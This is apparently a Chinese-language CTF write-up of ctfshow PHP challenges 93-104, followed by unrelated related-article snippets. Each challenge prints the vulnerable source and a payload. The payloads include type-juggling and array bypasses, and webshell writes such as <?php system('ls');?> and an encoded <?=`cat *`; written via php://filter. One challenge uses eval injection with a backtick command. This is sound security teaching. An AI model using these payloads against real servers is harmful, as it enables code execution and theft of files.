【PHP代码审计】ctfshow web入门 php特性 93-104
ctfshow web入门 php特性 93-104
- web 93
- web 94
- web 95
- web 96
- web 97
- web 98
- web 99
- web 100
- web 101
- web 102
- web 103
- web 104
web 93
这段PHP代码是一个简单的源码审计例子,让我们逐步分析它:
-
include("flag.php");
: 这行代码将flag.php
文件包含进来。如果flag.php
文件中定义了变量$flag
,它将在当前文件中可用。 -
highlight_file(__FILE__);
: 这行代码将会将当前文件的源代码进行语法高亮并输出到浏览器,以便我们查看代码的内容。 -
下面是一个针对用户输入的
num
参数的处理:a.
$num = $_GET['num'];
: 从GET请求中获取名为num
的参数,并将其赋值给变量$num
。b.
if($num==4476){ die("no no no!"); }
: 如果用户输入的num
等于4476,将输出"no no no!"并终止脚本的执行。c.
if(preg_match("/[a-z]/i", $num)){ die("no no no!"); }
: 如果用户输入的num
中包含任何字母(大小写不敏感),将输出"no no no!"并终止脚本的执行。d.
if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); }
: 在这里,intval()
函数将尝试将$num
转换为整数类型。如果转换后的结果等于4476,将输出$flag
的内容,否则输出转换后的整数值。
所以,从审计的角度来看:
代码中对用户输入num
进行了多层过滤,主要是为了防止用户输入恶意数据。首先检查是否等于4476,其次检查是否包含字母。但这里有一个问题:它使用了intval()
函数来转换输入,将输入强制转换为整数。在这里,如果输入的值以零开头(例如:001),则PHP会将其视为八进制数。
因此,用户可以通过输入以零开头的数字来绕过检查,获取到flag。
例如:传入 num=010574
,它会被当作4476处理,然后输出$flag
的内容。
还有小数也可以绕过if($num==4476){ die("no no no!"); }
。比如传 ?num=4476.1
OK这题就完全理解了。
web 94
对比web 93,有以下几个重要的改动:
-
if($num==="4476"){ die("no no no!"); }
: 这里使用了三个等号(===
),意味着在比较时不仅要比较值,还要比较类型。 -
if(!strpos($num, "0")){ die("no no no!"); }
: 传入的参数的第一位不能为0,如果是0,就die -
最后的条件判断变为
if(intval($num,0)===4476){ echo $flag; }
,这个条件确保用户输入不是以0开头,且转换为整数后与4476相等,才会输出$flag
的内容。
可以传参:
?num=(空格)+010574
?num=4476.0
web 95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]|\./i", $num)){die("no no no!!");}if(!strpos($num, "0")){die("no no no!!!");}if(intval($num,0)===4476){echo $flag;}
preg_match函数来检查变量$num是否包含任何小写字母(a到z之间)或者一个句号(.)。如果发现包含这些字符,就会执行die()函数,输出 “no no no!!” 并终止脚本的执行。
刚刚web 94 用到小数形式就不能用了。所以只能用:
?num=(空格)+ 010574
web 96
highlight_file(__FILE__);if(isset($_GET['u'])){if($_GET['u']=='flag.php'){die("no no no");}else{highlight_file($_GET['u']);}}
使用u传一个参,不能直接等于“flag.php”,如果u直接等于flag.php,那么将结束语句并输出 no no no。
使用两种方法传参:
- 相对路径:?u=./flag.php
- php伪协议:?u=php://filter/resource=flag.php
web 97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
前面都是GET,到此改为POST传参。
满足题目条件:a、b存在且非空,a与b不相等但他们的MD5相等时,输出flag。
如果是双等号不是三等号,在这样的弱比较里,0e开头的会被识别成科学计数法,结果均为0,比较时0=0为true绕过。
像这样的强比较,上面的方法就失效了,但是如果传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较里面null=null为true绕过。
数组轻松绕过:
a[]=1&b[]=2
web 98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>
$_GET?$_GET=&$_POST:'flag';
这句语句表示,如果存在get方式,就把post的地址传给get,相当于get,只不过要利用post传一下参数。
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
如果有通过GET方法传参’HTTP_FLAG=flag’,就显示flag。否则显示__FILE__.
如此传参:
GET:/?随意内容
POST:HTTP_FLAG=flag
web 99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}?>
这部分代码用于生成一个名为 $allow 的数组,其中包含随机数。生成的随机数范围是从 1 到 0x36d(十进制 875)。↓
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
这部分代码检查是否存在名为 ‘n’ 的 GET 参数,并且该参数的值存在于 $allow 数组中。如果满足这两个条件,将使用 POST 请求中的 ‘content’ 参数将内容写入文件。↓
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}
file_put_contents() 函数把一个字符串写入文件中。
如果文件不存在,将创建一个文件。
如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。
GET:?n=1.php
POST:content=<?php system("ls");?>
访问1.php
在这个请求中,GET 参数 ‘n’ 的值是 “1.php”,而 POST 参数 ‘content’ 的值是 <?php system("ls");?>,即恶意代码片段 system(“ls”)。
然后,代码会检查 ‘n’ 参数是否存在于 $allow 数组中。假设 “1.php” 是在 $allow 数组中,则会将 <?php system("ls");?> 写入名为 “1.php” 的文件。
当访问 “1.php” 时,恶意代码 system(“ls”) 将会被执行,显示当前目录中的内容。
GET:?n=1.php
POST:content=<?php system("tac flag36d.php");?>
访问1.php
在这个请求中,GET 参数 ‘n’ 的值仍然是 “1.php”,而 POST 参数 ‘content’ 的值是 <?php system("tac flag36d.php");?>,即另一个恶意代码片段 system(“tac flag36d.php”)。
假设 “1.php” 仍然是在 $allow 数组中,则会将 <?php system("tac flag36d.php");?> 写入名为 “1.php” 的文件。
当访问 “1.php” 时,恶意代码 system(“tac flag36d.php”) 将会被执行,显示名为 “flag36d.php” 的文件内容的逆向(从最后一行到第一行)。
web 100
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");
源码审计:
$ctfshow = new ctfshow();
创建了一个名为 $ctfshow 的对象。
$v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3'];
这几行代码从 GET 请求参数中获取数据,并将其存储在变量 $v1, $v2, $v3 中。
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
使用 is_numeric() 函数检查 $v1, $v2, $v3 是否都为数字。然后将结果赋值给变量 $v0。
由于=的优先级高于and,因此只需要v1等于数字就可以绕过上述检查。
if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){
这段代码是使用正则表达式检查v2、v3是否含有分号。
eval("$v2('ctfshow')$v3");
eval()函数的作用是将传入的字符串作为 PHP 代码进行解析和执行。简单来说,eval() 函数可以在运行时动态执行一段 PHP 代码。
它将 $v2 和 $v3 的值插入到字符串中并执行。
综上,传参让$ctfshow显出来就行了:
/?v1=1&v2=&v3=?><?=`tac ctfshow.php`;
flag格式是ctfshow{}。
web 101
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){eval("$v2('ctfshow')$v3");
源码是web 100 的小改款,多出了:
正则检查的符号包括:
1. `\\\\`:匹配反斜杠 `\`。
2. `\/`:匹配正斜杠 `/`。
3. `\~`:匹配波浪号 `~`。
4. `\``:匹配反引号 `` ` ``。
5. `\!`:匹配感叹号 `!`。
6. `\@`:匹配at符号 `@`。
7. `\#`:匹配井号 `#`。
8. `\\$`:匹配美元符号 `$`。
9. `\%`:匹配百分号 `%`。
10. `\^`:匹配插入符号 `^`。
11. `\*`:匹配星号 `*`。
12. `\)`:匹配右括号 `)`。
13. `\-`:匹配减号 `-`。
14. `\_`:匹配下划线 `_`。
15. `\+`:匹配加号 `+`。
16. `\=`:匹配等号 `=`。
17. `\{`:匹配左花括号 `{`。
18. `\[`:匹配左方括号 `[`。
19. `\"`:匹配双引号 `"`。
20. `\'`:匹配单引号 `'`。
21. `\,`:匹配逗号 `,`。
22. `\. `:匹配点号 `.`。
23. `\;`:匹配分号 `;`。
24. `\?`:匹配问号 `?`。
25. `[0-9]`:匹配数字字符 0 到 9。
用到PHP Reflection API 这个东西。
PHP Reflection API 是 PHP 的一组内置类和接口,它允许在运行时获取关于类、接口、函数、方法、属性等各种对象的信息。通过 Reflection API,我们可以在代码运行时动态地分析和获取这些对象的结构和属性,使得 PHP 在运行时具备了一定程度的反射(reflection)能力。
Reflection API 提供了一些类和接口,其中最常用的类包括:
ReflectionClass
:用于获取类的相关信息,如类名、父类、接口、属性、方法等。ReflectionMethod
:用于获取类方法的相关信息,如方法名、参数、访问修饰符等。ReflectionFunction
:用于获取函数的相关信息,如函数名、参数、返回值等。ReflectionProperty
:用于获取类属性的相关信息,如属性名、访问修饰符等。ReflectionParameter
:用于获取函数或方法的参数信息,如参数名、默认值等。
通过 Reflection API,开发者可以在运行时动态地探索和操作类、方法和函数的结构,例如:
- 动态地获取类的方法和属性,实现类的自动文档生成或代码生成工具;
- 检查类或方法的注释和特性,实现自定义的注解功能;
- 动态地调用类的方法和创建对象,实现依赖注入和反射调用。
传参:
/?v1=1&v2=echo%20new%20ReflectionClass&v3=;
分析一下代码的执行过程:
-
v1=1
:这里将v1
设置为数字 1。 -
v2=echo%20new%20ReflectionClass
:这里将v2
设置为字符串echo new ReflectionClass
,注意%20
是 URL 编码的空格符。 -
v3=;
:这里将v3
设置为一个分号;
。
接下来,代码执行的逻辑是:
-
首先,
is_numeric()
函数会检查v1
、v2
和v3
是否都是数字。在这里,v1
是数字 1,因此条件通过。 -
然后,代码会进行正则表达式匹配,检查
v2
和v3
是否包含特定的字符。-
对于
v2
,正则表达式为/\\\\|\/|\~|\
|!|@|#|\$|%|^|*|)|-|_|+|=|{|[|“|'|,|.|;|?|[0-9]/,这里的
` 在正则表达式中需要转义,所以实际匹配的是\|/|~|
|!|@|#|$|%|^|*|)|-|_|+|=|{|[|”|'|,|.|;|?|[0-9]`。没有匹配到特殊字符,所以条件通过。 -
对于
v3
,正则表达式为/\\\\|\/|\~|\
|!|@|#|\$|%|^|*|(|-|_|+|=|{|[|“|'|,|.|?|[0-9]/,这里的
` 在正则表达式中需要转义,所以实际匹配的是\|/|~|
|!|@|#|$|%|^|*|(|-|_|+|=|{|[|”|'|,|.|?|[0-9]`。没有匹配到特殊字符,所以条件通过。
-
-
最后,代码会执行以下语句:
eval("$v2('ctfshow')$v3");
。-
根据我们的输入,这将等效于执行以下代码:
eval("echo new ReflectionClass('ctfshow');");
。 -
eval()
函数将会执行字符串中的代码,因此这里会输出new ReflectionClass('ctfshow')
-
web 102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}
else{die('hacker');
}?>
- 从POST请求中获取参数
$v1
。 - 从GET请求中获取参数
$v2
和$v3
。 - 判断
$v2
和$v3
是否都是数字(通过is_numeric
函数判断),并将结果保存到$v4
中。
如果$v4
为真(即$v2
和$v3
都是数字):
-
从
$v2
的第三个字符开始截取子字符串保存到$s
中。$s = substr($v2,2);
-
调用名为
$v1
的回调函数,将$s
作为参数传递给它,并将函数返回值保存到$str
中。
$str = call_user_func($v1,$s);
-
将
$str
输出到页面。 -
将
$str
的内容写入名为$v3
的文件中。file_put_contents($v3,$str);
如果$v4
为假(即$v2
和$v3
不是都是数字):输出字符串"hacker",然后终止程序的执行。
构造传参:
$v1:使用hex2bin()作为回调函数(16进制转化为字符)
$v2:要求全是数字。
$v3:使用PHP伪协议写入文件$a=<?=`cat *`;
$b=base64_encode($a);
$c=bin2hex($b);
bin2hex是把ASCII 字符的字符串转化为16进制
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可顺利通过is_numeric的检测。
因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)
故v2=005044383959474e6864434171594473
payload:
GET:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.phpPOST:v1=hex2bin //这个就是把16进制转换为ASCII 字符的字符串传参后,访问1.php后,查看源代码,获得flag
web 103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);}else{die('Sorry');}
}
else{die('hacker');
}?>
对于之前的代码,新增了以下内容:
- 使用正则表达式检查
$str
中是否包含"php"子字符串:
if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);
}
else{die('Sorry');
}
这部分代码首先使用正则表达式/.*p.*h.*p.*/i
来检查$str
中是否包含"php"子字符串。正则表达式的含义是任意字符,后面跟着"p",后面跟着任意字符,后面跟着"h",后面再跟着任意字符,最后跟着"p",而i
标记表示忽略大小写。这样的正则表达式会匹配包含"php"子字符串的任何形式。
- 根据正则表达式的匹配结果执行不同的操作:
- 如果
$str
中不包含"php"子字符串,则将$str
写入名为$v3
的文件中:
file_put_contents($v3,$str);
- 如果
$str
中包含"php"子字符串,则输出字符串"Sorry"并终止程序的执行:
die('Sorry');
这样的改动尝试防止用户将"php"关键词写入文件中,以防止潜在的代码注入攻击。如果$str
中包含"php",则直接输出"Sorry",并停止文件写入。
然而我们的传参不受黑名单限制,payload依然是一样:
GET:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.phpPOST:v1=hex2bin //这个就是把16进制转换为ASCII 字符的字符串传参后,访问1.php后,查看源代码,获得flag
web 104
highlight_file(__FILE__);
include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;
sha1与md5一样,都是无法处理数组。所以这题跟web 97是一样的做法。使用数组进行绕过:
POST:v1[]=2
GET:v2[]=1
相关文章:

【PHP代码审计】ctfshow web入门 php特性 93-104
ctfshow web入门 php特性 93-104 web 93web 94web 95web 96web 97web 98web 99web 100web 101web 102web 103web 104 web 93 这段PHP代码是一个简单的源码审计例子,让我们逐步分析它: include("flag.php");: 这行代码将flag.php文件包含进来。…...

CSS元素的显示模式
1、现在我想做成小米左侧边栏这样的效果,该怎么做呢? 2、小米商城触碰之后会显示出新的商品案例 3、一碰到之后会出现这个列表 4、这里涉及到了元素显示模式: 5、用人进行划分可以分为男人和女人,根据男人和女人的特性进行相应的…...

Go strings.Title方法被废弃(Deprecated)
strings.Title的使用 在传统中,我们可以通过如下形式将每个单词的首字母变成大写字母,示例如下: func TestTitle(t *testing.T) { fmt.Println(strings.Title("hello world")) fmt.Println(strings.Title("hell golang&qu…...

vuejs源码分析之全局API(vm.$off)
vue在初始化的时候会给vue对象本身挂载一些全局的api。今天我们一个一个来看这些api。 vm.$off方法 这个方法是用来移除自定义事件监听器。 他的用法 vm.$off(event, calback)第一个参数event取值可以是string字符串,也可以是Array<string>也就是说既可以删…...

elasticSearch常见的面试题
常见的面试问题 描述使用场景 es集群架构3个节点,根据不同的服务创建不同的索引,根据日期和环境,平均每天递增60*2,大约60Gb的数据。 调优技巧 原文参考:干货 | BAT等一线大厂 Elasticsearch面试题解读 - 掘金 设计阶…...

第一课-前提-Stable Diffusion 教程
学习 SD 的前提是电脑配置! SD 参考配置: 建议选择台式机 i5 CPU, 内存16GB,N卡 RTX3060, 8G显存以上的配置(最低配) 在此基础上的配置越高越好。 比如,cpu i7 更好,显卡能有 RTX4090 更好,32显存要能有最好,嘿嘿嘿。 如何查看自己的显卡配置? Win+R 输入 “dxdiag…...

Python 开发工具 Pycharm —— 使用技巧Lv.2
pydoc是python自带的一个文档生成工具,使用pydoc可以很方便的查看类和方法结构 本文主要介绍:1.查看文档的方法、2.html文档说明、3.注释方法、 一、查看文档的方法 **方法1:**启动本地服务,在web上查看文档 命令【python3 -m…...

代码随想录第39天 | 62. 不同路径、63.不同路径II
62. 不同路径 动态规划五部曲: dp[i][j] :表示从(0 ,0)出发,到(i, j) 有dp[i][j]条不同的路径。想要求dp[i][j],只能有两个方向来推导出来,即dp[i - 1][j] 和 dp[i][j - 1]。dp[i]…...

QMT入门—初识QMT
对于普通投资者来说,每天实时盯盘实在是无聊又无趣,特别是临时有事还会错过行情。如果能把自己的投资策略用代码实现,通过程序来自动买卖股票那该有多好,这样就不会错过行情也不会不按交易纪律来操作了。 解决办法有两种…...

C 语言的 return 语句
有返回值的函数要带 return 语句, return 后面是一个表达式, return 语句将表达式的值返回给主调函数. 一个函数也可以有多个 return 语句, 比如存在于不同的分支中, 但只能有一条 return 语句被执行, 然后程序的控制权就从被调函数传到主调函数. 对于有返回值但没有带 retur…...

企业级Vue路由角色权限应该怎么做?
角色权限 角色权限,简单来说就是登录的用户能看到系统的哪些页面,不能看到系统的哪些页面。一般是后台管理系统才会涉及到如此复杂的角色权限。 对于 vue 技术栈,实现角色权限一般有两种方式。 第一种是利用 beforeEach 全局前置守卫。 第…...

3.2.0 版本预告!Apache DolphinScheduler API 增强相关功能
Apache DolphinScheduler 3.2.0 版本即将发布,在此之前,为了让用户提前了解到大家所期待的新功能,我们制作了视频来”剧透“一些核心新发布。此前,我们比较全面地”剧透“的 3.2.0 版本的新功能,这次,我们来…...

测试工程师的工作
目录 1.何为软件测试工程师? 2.软件测试工程师的职责? 3.为什么要做软件测试? 4.软件测试的前途如何? 5.工具和思维谁更重要? 6.测试和开发相差大吗? 7.成为测试工程师的必备条件 8.测试的分类有哪…...

压力测试与测试工具jmeter的介绍
目录 一、性能指标 二、jmeter (一)JMeter 安装 (二)JMeter 压测示例 1、添加线程组 2、添加 HTTP 请求 3、添加监听器 4、启动压测&查看分析结果 (三)JMeter Address Already in use 错误解决 压力测…...

解析整型最大值(Integer.MIN_VALUE)溢出变为最小值(Integer.MAX_VALUE)
解析整型最大值(Integer.MIN_VALUE)溢出变为最小值(Integer.MAX_VALUE)结论分析 解析整型最大值(Integer.MIN_VALUE)溢出变为最小值(Integer.MAX_VALUE) 解析整型最大值(Integer.MIN_VALUE)溢出变为最小值(Integer.MAX_VALUE) ,java 二进制 最小值 减法 减1 结论 …...

【openpcdet】dbinfo内的信息
这就是kitti_dbinfos_train_sfd_seguv.pkl中【car】类别存储的信息。...

clickhouse查询缓存
为了实现最佳性能,数据库需要优化其内部数据存储和处理管道的每一步。但是数据库执行的最好的工作是根本没有完成的工作!缓存是一种特别流行的技术,它通过存储早期计算的结果或远程数据来避免不必要的工作,而访问这些数据的成本往…...

vue中使用Base64加密、解密以及des加密、解密
Base64加密、解密 第一步: npm install js-base64 --save 下载依赖 第二步: 直接引入即可 import { Base64 } from js-base64; 第三步: Base64.encode(xxxx) 其中 .encode() 加密 .decode() 解密 中间不需要使用加密的key等…...

关于丢失安卓秘钥的撞sha-1值的办法
实验得知,安卓sha-1和keytool生成秘钥签名文件的时间有关。 前提条件是,开发者必须知道生成秘钥的所有细节参数 以下是撞文件代码(重复生成) import time import osidx 0while True:cmdkeytool -keyalg RSA -genkeypair -alia…...

maven如何打包你会吗?
1.新建一个maven项目,在main/java中建立Main类 public class Main {public static void main(String[] args) {System.out.println("hello java ...");} } 2.添加依赖,使其成为可执行包 <build><plugins><!--打包成为可执行包-…...

idea 控制台 打印 Tomcat日志Tomcat Catalina Log控制台乱码问题
修改tomcat的日志配置文件 conf一>logging.properties 修改【1catalina.org.apache.juli.AsyncFileHandler.encoding】的值为gbk 1catalina.org.apache.juli.AsyncFileHandler.level FINE 1catalina.org.apache.juli.AsyncFileHandler.directory ${catalina.base}/logs 1…...

python我的世界
我的世界不知道大家有没有玩过,今天博主用python的Ursina库复刻了我的世界给大家分享 安装Ursina pip install ursina 导入Ursina from ursina import * from ursina.prefabs.first_person_controller import FirstPersonController 创建app app Ursina() 创建Voxe…...

SpringBoot+vue 大文件分片下载
学习链接 SpringBootvue文件上传&下载&预览&大文件分片上传&文件上传进度 Blob & File & FileReader & ArrayBuffer VueSpringBoot实现文件的分片下载 video标签学习 & xgplayer视频播放器分段播放mp4(Range请求交互过程可以参…...

scanf函数读取数据 清空缓冲区
scanf函数读取数据&清空缓冲区 scanf 从输入缓冲区读取数据数据的接收数据存入缓冲区scanf 中%d读取数据scanf中%c读取数据 清空输入缓冲区例子用getchar()吸收回车练习 scanf 从输入缓冲区读取数据 首先,要清楚的是,scanf在读取数据的时候ÿ…...

js 文件常用转换
获取上传文件的arrayBuffer:var u8arr await file.arrayBuffer() 通过arrayBuffer转换成Buffer:Buffer.from(u8arr) 1. Blob、File → Base64 function fileToDataURL(file) {let reader new FileReader();reader.readAsDataURL(file);reader.onload…...

基于Open3D的点云处理15-特征点
Intrinsic shape signatures (ISS) 参考 ISS关键点: 基本原理是避免在沿主要方向表现出类似分布的点上检测关键点,在这些点上无法建立可重复的规范参考框架,因此后续描述阶段很难变得有效。在剩余点中,显着性由最小特征值的大小决定,以便仅包…...

算法刷题Day 58 每日温度+下一个更大元素I
Day 58 单调栈 739. 每日温度 class Solution { public:vector<int> dailyTemperatures(vector<int>& temperatures) {vector<int> rst(temperatures.size());vector<int> decsStk; // 单调递减栈for (int i 0; i < temperatures.size(); i)…...

认识 spring AOP (面向切面编程) - springboot
前言 本篇介绍什么是spring AOP, AOP的优点,使用场景,spring AOP的组成,简单实现AOP 并 了解它的通知;如有错误,请在评论区指正,让我们一起交流,共同进步! 文章目录 前言1. 什么是s…...

将css文件中的px转化为rem
pxToRem.js /*** 使用方式:* 与引入的文件放在同一目录下进行引用配置,执行:node (定义的文件)*/ const fs require(fs) const path require(path) /*** entry:入口文件路径 type:Strng* pxtopx:以倍数转…...

JNI之Java实现远程打印
打印机是最常见的办公设备了。一般情况下如果需要实现打印,可通过前端print.js包来完成。但是,如果要实现智能办公打印,就可以使用JNI技术、封装接口、远程调用实现完成。 导包 jacob:Java COM Bridge <dependency><g…...